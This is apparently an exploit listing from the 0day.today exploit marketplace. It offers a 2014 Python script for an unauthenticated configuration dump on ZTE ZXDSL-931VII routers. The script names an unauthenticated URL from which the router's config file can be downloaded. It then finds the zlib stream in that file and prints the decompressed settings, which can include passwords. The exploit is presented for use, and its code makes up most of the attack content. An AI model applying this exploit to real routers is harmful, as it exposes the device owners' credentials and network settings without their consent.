0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ZTE ZXDSL-931VII Unauthenticated Configuration Dump
#!/usr/bin/env python import zlib #scripte originated from http://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlib print "################################################" print "# THe W0lf is so close #" print "# ZTE 931Vii Router configuration unpacker #" print "# Find configuration file @ #" print "# http://192.168.1.1/manager_dev_config_t.gch #" print "# L0ukanik0s 2014 Hack-Hosting #" print "#l0ukanik0s@hotmail.com #" print "################################################" print "Enter your config.bin path: e.g root@l0ukanik0s:~#/Desktop/931router_config.bin" configfile = raw_input("File Path :").strip() magic_numbers = ['\x78\xDA'] filename = configfile infile = open(filename, 'r') data = infile.read() pos = 0 found = False while pos < len(data): window = data[pos:pos+2] for marker in magic_numbers: if window == marker: found = True start = pos print "Start of zlib %s" % pos rest_of_data = data[start:] decomp_obj = zlib.decompressobj() uncompressed_msg = decomp_obj.decompress(rest_of_data) print "Configuration of ZTE 931 File Content: %s" % uncompressed_msg break if pos == len(data): break pos += 1 if found: header = data[:start] footer = decomp_obj.unused_data if not found: print "Sorry, no zlib found." #http://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlib # 0day.today [2024-09-12] #